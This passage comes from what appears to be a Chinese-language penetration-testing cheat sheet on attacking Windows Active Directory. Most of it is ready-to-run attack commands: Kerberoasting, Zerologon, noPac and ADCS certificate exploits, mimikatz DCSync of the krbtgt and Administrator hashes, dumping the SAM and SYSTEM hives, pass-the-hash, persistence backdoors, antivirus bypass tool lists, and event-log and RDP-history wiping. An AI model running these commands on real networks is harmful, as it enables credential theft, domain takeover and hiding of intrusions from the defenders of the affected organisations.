1430 | * [Kerberos的认证原理](https://blog.csdn.net/wulantian/article/details/42418231) 1431 | * [深刻理解windows安全认证机制ntlm&Kerberos](https://klionsec.github.io/2016/08/10/ntlm-kerberos/) 1432 | 1433 | ##### Kerberos的银票务 1434 | 黄金票据和白银票据的一些区别: 1435 | Golden Ticket:伪造`TGT`,可以获取`任何Kerberos`服务权限 1436 | 银票:伪造TGS,`只能访问指定的服务` 1437 | 加密方式不同: 1438 | Golden Ticket由`krbtgt`的hash加密 1439 | Silver Ticket由`服务账号`(通常为计算机账户)Hash加密 1440 | 认证流程不同: 1441 | 金票在使用的过程需要同域控通信 1442 | 银票在使用的过程不需要同域控通信 1443 | 相关阅读 : 1444 | * [攻击者如何使用Kerberos的银票来利用系统](https://adsecurity.org/?p=2011) 1445 | * [域渗透——Pass The Ticket](https://www.feiworks.com/wy/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Pass%20The%20Ticket.pdf) 1446 | 1447 | ##### 域服务账号破解 1448 | 与上面SPN扫描类似的原理 1449 | https://github.com/nidem/kerberoast 1450 | 获取所有用作SPN的帐户 1451 | ``` 1452 | setspn -T PENTEST.com -Q */* 1453 | ``` 1454 | 从Mimikatz的RAM中提取获得的门票 1455 | ``` 1456 | kerberos::list /export 1457 | ``` 1458 | 用rgsrepcrack破解 1459 | ``` 1460 | tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi 1461 | ``` 1462 | ##### 凭证盗窃 1463 | 从搜集的密码里面找管理员的密码 1464 | 1465 | ##### NTLM relay 1466 | * [One API call away from Domain Admin](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/) 1467 | * [privexchange](https://github.com/dirkjanm/privexchange/) 1468 | * [Exchange2domain](https://github.com/ridter/exchange2domain) 1469 | 1470 | 用于主动让目标机器发起NTLM请求的方法: 1471 | * [printerbug](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) 1472 | * [PetitPotam](https://github.com/topotam/PetitPotam) 1473 | 1474 | Relay LDAP: 1475 | 1476 | * [CVE-2019-1040-dcpwn](https://github.com/Ridter/CVE-2019-1040-dcpwn) 1477 | 1478 | Relay AD CS/PKI: 1479 | 1480 | * [AD CS/PKI template exploit](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/) 1481 | 1482 | 集成几个利用的工具: 1483 | * [Relayx](https://github.com/Ridter/Relayx) 1484 | 1485 | 内网445端口转发: 1486 | * [PortBender](https://github.com/praetorian-inc/PortBender) 1487 | 1488 | ##### Kerberos委派 1489 | * [Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) 1490 | * [s4u2pwnage](https://blog.harmj0y.net/activedirectory/s4u2pwnage/) 1491 | * [Attacking Kerberos Delegation](https://xz.aliyun.com/t/2931) 1492 | * [用打印服务获取域控](https://adsecurity.org/?p=4056) 1493 | * [Computer Takeover](https://blog.harmj0y.net/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/) 1494 | * [Combining NTLM Relaying and Kerberos delegation](https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/) 1495 | * [CVE-2019-1040](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/) 1496 | 1497 | ##### 地址解析协议 1498 | 实在搞不定再搞ARP 1499 | ##### Zerologon 1500 | 1、利用Mimikatz 1501 | **check** 1502 | ``` 1503 | lsadump::zerologon /target:dc1.exploit.local /account:dc1$ 1504 | ``` 1505 | **exploit** 1506 | ``` 1507 | lsadump::zerologon /target:dc1.exploit.local /account:dc1$ /exploit 1508 | ``` 1509 | **dcsync** 1510 | ``` 1511 | lsadump::dcsync /dc:dc1.exploit.local /authuser:dc1$ /authdomain:exploit.local /authpassword:"" /domain:exploit.local /authntlm /user:krbtgt 1512 | ``` 1513 | **restore** 1514 | ``` 1515 | lsadump::postzerologon /target:conttosson.locl /account:dc$ 1516 | ``` 1517 | 2、利用impacket: 1518 | * 取目标主机名+IP 1519 | * install 修改版本的impacket 1520 | * Exp 1521 | 1522 | ``` 1523 | python cve-2020-1472-exploit.py DC2008 10.211.55.200 1524 | ``` 1525 | ![](https://blogpics-1251691280.file.myqcloud.com/imgs/20200916190137.png) 1526 | ``` 1527 | secretsdump.py -no-pass cgdomain.com/'DC2008$'@10.211.55.200 -history -just-dc-user administrator 1528 | ``` 1529 | ``` 1530 | secretsdump.py -no-pass cgdomain.com/administrator@10.211.55.200 -hashes aad3b435b51404eeaad3b435b51404ee:3add1560657a19b3166247eb3eb149ae 1531 | ``` 1532 | ![](https://blogpics-1251691280.file.myqcloud.com/imgs/20200916190359.png) 1533 | 1534 | 获取到旧的密码明文hex,还原 1535 | ``` 1536 | python restorepassword.py cgdomain.com/DC2008@DC2008 -target-ip 10.211.55.200 -hexpass 59958639cbdd4523de5d42b01adb0e256e0d39aef14c8eef31f4c078862109f253bbb7b3817ab123d013856c028fa4993f5f5b9a830a3a98d87483b29df3fb55082a1f464b19220a2c04f6605d2d321a04afbb551f8f19a13d399f9f5af2aa23c5b76b49001033516fefd90cb0348256e8282b22cbf9e70d82a8b8d2916d578246e288af3af727533d36ad8950fe1c513771377d98a947c4a8eae2b581a74b6687a2e533b7e89e8d03c2e6c2123d519489869a6e33d3a8884be33107060b62e2852502261f48c097ddb68750cc55b7688cc951441cf02989a307f55c008e978edbaf31766d17b53505016c7580cb480b 1537 | ``` 1538 | ![](https://blogpics-1251691280.file.myqcloud.com/imgs/20200916190457.png) 1539 | 1540 | 1541 | 恢复方法2 1542 | 通过wmic, pass the hash 拿到域控制器中的本地管理员权限(域管) 1543 | ``` 1544 | wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/Administrator@10.211.55.38 1545 | ``` 1546 | 然后分别执行,拷贝本机中SAM数据库到本地 1547 | ``` 1548 | - reg save HKLM\SYSTEM system.save 1549 | - reg save HKLM\SAM sam.save 1550 | - reg save HKLM\SECURITY security.save 1551 | - get system.save 1552 | - get sam.save 1553 | - get security.save 1554 | - del /f system.save 1555 | - del /f sam.save 1556 | - del /f security.save 1557 | ``` 1558 | 1559 | 提取明文hash 1560 | ``` 1561 | secretsdump.py -sam sam.save -system system.save -security security.save LOCAL 1562 | ``` 1563 | 然后恢复。 1564 | ​ 1565 | ##### noPac 1566 | 漏洞分析:[CVE-2021-42287/CVE-2021-42278 Weaponisation](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html) 1567 | 1568 | Exploit: 1569 | ``` 1570 | # Create Machine Account 1571 | New-MachineAccount -MachineAccount TestSPN -Domain internal.zeroday.lab -DomainController idc1.internal.zeroday.lab -Verbose 1572 | 1573 | # Clear SPNs 1574 | Set-DomainObject "CN=TestSPN,CN=Computers,DC=internal,DC=zeroday,DC=lab" -Clear 'serviceprincipalname' -Verbose 1575 | 1576 | # Change Machine Account samaccountname 1577 | Set-MachineAccountAttribute -MachineAccount TestSPN -Value "IDC1" -Attribute samaccountname -Verbose 1578 | 1579 | # Request TGT 1580 | .\Rubeus.exe asktgt /user:IDC1 /password:Password1 /domain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /nowrap 1581 | 1582 | # Change Machine Account samaccountname 1583 | Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose 1584 | 1585 | # Request S4U2self 1586 | .\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:idc1.internal.zeroday.lab /self /altservice:LDAP/IDC1.internal.zeroday.lab /ptt /ticket:[TGT] 1587 | 1588 | ``` 1589 | 1590 | 一键利用:[noPac](https://github.com/cube0x0/noPac) 1591 | 1592 | ##### ADCS 1593 | 利用ADCS中错误配置的模板进行域提权,详细可参考:[Certified_Pre-Owned](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) 1594 | 1595 | 可利用工具: 1596 | 1597 | * [Certify](https://github.com/GhostPack/Certify) 1598 | * [Certipy](https://github.com/ly4k/Certipy) 1599 | * [PKINITtools](https://github.com/dirkjanm/PKINITtools) 1600 | * [certi](https://github.com/eloypgz/certi) 1601 | 1602 | ##### CVE-2022-26923 1603 | 前提:域内有ADCS 1604 | Exploit: 1605 | ``` 1606 | # 修改可控机器DNS 1607 | python certi.py account create cgdomain.com/sanfeng:'1qazXSW@'@10.211.55.200 -dc-ip 10.211.55.200 -user testvul -dns dc2008.cgdomain.com 1608 | 1609 | # 请求证书 1610 | python certi.py req 'cgdomain.com/testvul$:NUxhMemzaP4rsPnu'@10.211.55.200 -dc-ip 10.211.55.200 -ca cgdomain-DC2008-CA -template 'Machine' 1611 | 1612 | # 获取DC hash 1613 | python certi.py auth -dc-ip 10.211.55.200 -pfx dc2008.pfx -username dc2008$ 1614 | 1615 | # 还原机器DNS 1616 | python certi.py account update cgdomain.com/sanfeng:'1qazXSW@'@10.211.55.200 -dc-ip 10.211.55.200 -user testvul -dns testvul.hqcec.com 1617 | ``` 1618 | >注:此环境的ADCS与DC为同一台机器。真实环境需要根据实际情况进行参数调整。 1619 | 1620 | 1621 | #### 获取AD哈希 1622 | * 使用VSS卷影副本 1623 | * Ntdsutil中获取NTDS.DIT​​文件 1624 | * PowerShell中提取NTDS.DIT -->[Invoke-NinaCopy ](https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy) 1625 | * 使用Mimikatz提取 1626 | 1627 | ``` 1628 | mimikatz lsadump::lsa /inject exit 1629 | ``` 1630 | * 使用PowerShell Mimikatz 1631 | * 使用Mimikatz的DCSync 远程转储Active Directory凭证 1632 | 提取 KRBTGT用户帐户的密码数据: 1633 | 1634 | ``` 1635 | Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit 1636 | ``` 1637 | 管理员用户帐户提取密码数据: 1638 | ``` 1639 | Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit 1640 | 1641 | ``` 1642 | * NTDS.dit中提取哈希 1643 | 使用esedbexport恢复以后使用ntdsxtract提取 1644 | 1645 | #### AD持久化 1646 | ##### 活动目录持久性技巧 1647 | https://adsecurity.org/?p=1929 1648 | DS恢复模式密码维护 1649 | DSRM密码同步 1650 | >Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可参考:[巧用DSRM密码同步将域控权限持久化](http://drops.xmd5.com/static/drops/tips-9297.html) 1651 | 1652 | [DCshadow ](https://www.dcshadow.com/) 1653 | 1654 | ##### Security Support Provider 1655 | 简单的理解为SSP就是一个DLL,用来实现身份认证 1656 | ``` 1657 | privilege::debug 1658 | misc::memssp 1659 | ``` 1660 | 这样就不需要重启`c:/windows/system32`可看到新生成的文件kiwissp.log 1661 | ##### [SID History](https://adsecurity.org/?p=1772) 1662 | SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户 1663 | ``` 1664 | mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator" 1665 | ``` 1666 | ##### [AdminSDHolder&SDProp ](https://adsecurity.org/?p=1906) 1667 | 利用AdminSDHolder&SDProp(重新)获取域管理权限 1668 | ##### 组策略 1669 | https://adsecurity.org/?p=2716 1670 | [策略对象在持久化及横向渗透中的应用](https://www.anquanke.com/post/id/86531) 1671 | ##### Hook PasswordChangeNotify 1672 | http://www.vuln.cn/6812 1673 | 1674 | ##### Kerberoasting后门 1675 | [域渗透-Kerberoasting](https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting) 1676 | 1677 | ##### AdminSDHolder 1678 | [Backdooring AdminSDHolder for Persistence](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) 1679 | 1680 | ##### Delegation 1681 | [Unconstrained Domain Persistence](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#unconstrained-domain-persistence) 1682 | 1683 | ##### 黄金证书 1684 | [certified-pre-owned](https://blog.harmj0y.net/activedirectory/certified-pre-owned/) 1685 | 1686 | 证书伪造: 1687 | [pyForgeCert](https://github.com/Ridter/pyForgeCert) 1688 | 1689 | #### 其他 1690 | ##### 域内主机提权 1691 | [SharpAddDomainMachine](https://github.com/Ridter/SharpAddDomainMachine 1692 | ) 1693 | ##### Exchange的利用 1694 | * [**owa_info**](https://github.com/ridter/owa_info) 1695 | * [**Exchange2domain**](https://github.com/Ridter/Exchange2domain) 1696 | * [**CVE-2018-8581**](https://github.com/WyAtu/CVE-2018-8581/) 1697 | * [**CVE-2019-1040**](https://github.com/Ridter/CVE-2019-1040) 1698 | * [**CVE-2020-0688**](https://github.com/Ridter/CVE-2020-0688) 1699 | * [**NtlmRelayToEWS**](https://github.com/Arno0x/NtlmRelayToEWS) 1700 | * [**ewsManage**](https://github.com/3gstudent/ewsManage) 1701 | * [**CVE-2021-26855**](https://github.com/h4x0r-dz/CVE-2021-26855) 1702 | * [**CVE-2021-28482**](https://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda) 1703 | * [**ProxyVulns**](https://github.com/hosch3n/ProxyVulns) 1704 | * [**ProxyNotShell**](https://github.com/testanull/ProxyNotShell-PoC) 1705 | * [**OWASSRF-ProxyNotShell**](https://github.com/balki97/OWASSRF-CVE-2022-41082-POC) 1706 | * [**Tabshell**](https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e) 1707 | 1708 | #### TIPS 1709 | [《域渗透——Dump Clear-Text Password after KB2871997 installed》](https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed) 1710 | 1711 | [《域渗透——Hook PasswordChangeNotify》](http://www.vuln.cn/6812) 1712 | >可通过Hook PasswordChangeNotify实时记录域控管理员的新密码 1713 | 1714 | [《域渗透——Local Administrator Password Solution》 ](http://www.liuhaihua.cn/archives/179102.html) 1715 | >域渗透时要记得留意域内主机的本地管理员账号 1716 | 1717 | [《域渗透——利用SYSVOL还原组策略中保存的密码》 ](https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81) 1718 | 1719 | #### 相关工具 1720 | * [BloodHound ](https://github.com/BloodHoundAD/BloodHound) 1721 | * [CrackMapExec ](https://github.com/byt3bl33d3r/CrackMapExec) 1722 | * [DeathStar](https://github.com/byt3bl33d3r/DeathStar) 1723 | >利用过程:http://www.freebuf.com/sectool/160884.html 1724 | 1725 | ### 在远程系统上执行程序 1726 | * At 1727 | * Psexec 1728 | * WMIC 1729 | * Wmiexec 1730 | * Smbexec 1731 | * Powershell remoting 1732 | * DCOM 1733 | * Winrm (https://github.com/Hackplayers/evil-winrm) 1734 | 1735 | ### IOT相关 1736 | * 1、路由器 [routersploit ](https://github.com/reverse-shell/routersploit) 1737 | * 2、打印机 [PRET ](https://github.com/RUB-NDS/PRET) 1738 | * 3、IOT exp https://www.exploitee.rs/ 1739 | * 4、相关 1740 | [OWASP-Nettacker](https://www.owasp.org/index.php/OWASP_Nettacker) 1741 | [isf](https://github.com/dark-lbp/isf) 1742 | [icsmaster](https://github.com/w3h/icsmaster) 1743 | 1744 | ### 中间人 1745 | * [Cain](http://www.oxid.it/cain.html) 1746 | * [Ettercap](https://github.com/Ettercap/ettercap) 1747 | * [Responder](https://github.com/SpiderLabs/Responder) 1748 | * [MITMf](https://github.com/byt3bl33d3r/MITMf) 1749 | * [3r/MITMf)](https://github.com/evilsocket/bettercap) 1750 | 1751 | ### 规避杀软及检测 1752 | #### Bypass Applocker 1753 | [UltimateAppLockerByPassList ](https://github.com/api0cradle/UltimateAppLockerByPassList) 1754 | https://lolbas-project.github.io/ 1755 | 1756 | #### BypassAV 1757 | * Empire 1758 | * PEspin 1759 | * Shellter 1760 | * Ebowla 1761 | * Veil 1762 | * PowerShell 1763 | * Python 1764 | * [代码注入技术Process Doppelgänging ](http://www.4hou.com/technology/9379.html) 1765 | * ... 1766 | 1767 | ## 痕迹清理 1768 | ### [Windows日志清除](https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87) 1769 | 获取日志分类列表: 1770 | ``` 1771 | wevtutil el >1.txt 1772 | ``` 1773 | 获取单个日志类别的统计信息: 1774 | eg. 1775 | 1776 | ``` 1777 | wevtutil gli "windows powershell" 1778 | ``` 1779 | 回显: 1780 | ``` 1781 | creationTime: 2016-11-28T06:01:37.986Z 1782 | lastAccessTime: 2016-11-28T06:01:37.986Z 1783 | lastWriteTime: 2017-08-08T08:01:20.979Z 1784 | fileSize: 1118208 1785 | attributes: 32 1786 | numberOfLogRecords: 1228 1787 | oldestRecordNumber: 1 1788 | ``` 1789 | 查看指定日志的具体内容: 1790 | ``` 1791 | wevtutil qe /f:text "windows powershell" 1792 | ``` 1793 | 删除单个日志类别的所有信息: 1794 | ``` 1795 | wevtutil cl "windows powershell" 1796 | ``` 1797 | ### 破坏Windows日志记录功能 1798 | 利用工具 1799 | * [Invoke-Phant0m](https://github.com/hlldz/Invoke-Phant0m) 1800 | * [Windwos-EventLog-Bypass](https://github.com/3gstudent/Windwos-EventLog-Bypass) 1801 | 1802 | ### Metasploit 1803 | ``` 1804 | run clearlogs 1805 | ``` 1806 | ``` 1807 | clearev 1808 | ``` 1809 | ### 3389登陆记录清除 1810 | ``` 1811 | @echo off 1812 | @reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f 1813 | @del "%USERPROFILE%\My Documents\Default.rdp" /a 1814 | @exit 1815 | ``` 1816 | --------------------------------------------------------------------------------